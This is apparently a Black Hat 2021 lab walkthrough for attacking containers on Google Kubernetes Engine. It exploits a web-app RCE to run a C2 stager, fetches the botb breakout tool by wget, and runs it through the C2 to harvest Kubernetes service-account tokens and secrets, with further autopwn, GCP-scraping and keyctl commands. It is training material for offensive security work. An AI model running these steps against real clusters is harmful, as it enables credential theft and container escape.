

## The Plan:

- Browse to the web application to discover a RCE vulnerability...

-- Typical Pod/Container on GKE: <http://34.85.215.94/>

-- Privileged Pod/Container on GKE: <http://34.85.197.48/>

- Create a Voodoo no inject stager

- Leverage the RCE vulnerability in the web app to execute the Voodoo stager

- Enumerate Containers via the below techniques with the botb tool

## Analyze

On the Voodoo LP, let's update the botb tool to the latest version via the following commands:

```
rm /shared/voodoo_ce/app/resources/botb
wget -O /shared/voodoo_ce/app/resources/botb https://public-astute-cloud-20200813-935672326788.s3.amazonaws.com/botb
chmod 644 -R /shared/voodoo_ce/app/resources
chown root:root -R /shared/voodoo_ce/app/resources
ls -alF /shared/voodoo_ce/app/resources/botb
sha512sum /shared/voodoo_ce/app/resources/botb
```

We should see output similar to the following:

```
root@ip-10-0-1-110:/shared# rm /shared/voodoo_ce/app/resources/botb
rm: cannot remove '/shared/voodoo_ce/app/resources/botb': No such file or directory
root@ip-10-0-1-110:/shared# wget -O /shared/voodoo_ce/app/resources/botb https://public-astute-cloud-20200813-935672326788.s3.amazonaws.com/botb
--2021-08-01 22:39:23-- https://public-astute-cloud-20200813-935672326788.s3.amazonaws.com/botb
Resolving public-astute-cloud-20200813-935672326788.s3.amazonaws.com (public-astute-cloud-20200813-935672326788.s3.amazonaws.com)... 52.216.132.139
Connecting to public-astute-cloud-20200813-935672326788.s3.amazonaws.com (public-astute-cloud-20200813-935672326788.s3.amazonaws.com)|52.216.132.139|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13603167 (13M) [binary/octet-stream]
Saving to: '/shared/voodoo_ce/app/resources/botb'

/shared/voodoo_ce/app/resources/botb 100%
=====>
12.97M 35.4MB/s in 0.4s

2021-08-01 22:39:24 (35.4 MB/s) - '/shared/voodoo_ce/app/resources/botb' saved [13603167/13603167]

root@ip-10-0-1-110:/shared# chmod 644 -R /shared/voodoo_ce/app/resources
root@ip-10-0-1-110:/shared# chown root:root -R /shared/voodoo_ce/app/resources
root@ip-10-0-1-110:/shared#
root@ip-10-0-1-110:/shared# ls -alF /shared/voodoo_ce/app/resources/botb
-rw-r--r-- 1 root root 13603167 Aug 1 22:38 /shared/voodoo_ce/app/resources/botb
root@ip-10-0-1-110:/shared# sha512sum /shared/voodoo_ce/app/resources/botb
14cb4a829bc64f7ed12c14b2db2971c02488fe0ec7b5ff2d29610e83ffd7cd6befac7109ad56152b4a0dace5e26f98357773dbdccc014c0a7bdb8055d1f2e0b /shared/voodoo_ce/app/resources/botb
root@ip-10-0-1-110:/shared#
```

We should now see the botb binary in the "Resources" section of the Voodoo operator web interface...

Overview	
Agents	
AgentOnWin	
AgentOnK8sCntr	
Listeners	
Stagers	
Resources	
Boneyard	
Logs	
Settings	
Logout	

  

persistence	Wed Aug 19 19:02:13 2020
amicontained-linux-amd64	Wed Nov 20 05:36:28 2019
winRdpMasqStager	Sun Aug 1 17:32:47 2021
amicontained	Sun Aug 1 22:20:33 2021
AADRefreshToken.exe	Wed Aug 19 19:02:10 2020
kubeletmein002	Sun Mar 28 10:44:29 2021
NoInjectStager001	Sun Aug 1 18:57:06 2021
nmap	Wed Aug 19 19:02:13 2020
winexe	Wed Aug 19 19:02:13 2020
botb	Sun Aug 1 22:38:29 2021

Now we will execute the binary via the Voodoo web interface...

```
exec botb ping -k8secrets=true
```

We should see output similar to the following:

```

138 exec botb ping -k8secrets=true
Success

returned 6

[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (eyJhbGciOi...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (eyJhbGciOi...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

```

Break out the Box (BOTB) has several useful commands, check out the documentation, and try some!

- BOTB Documentation: <https://github.com/brompwnie/both>

Some examples include:

```

exec botb ping -k8secrets=true
exec botb ping -autopwn=true
exec botb ping -find-sockets=true
exec botb ping -find-docker=true
exec botb ping -recon=true
exec botb ping -metadata=true
exec botb ping -scrape-gcp
exec botb ping -pwnKeyctl=true -keyMin=0 -keyMax=10000000

```

## References

References includes:

- <https://github.com/brompwnie/bofb/releases>
- <https://github.com/wagoodman/dive>

BHUSA2021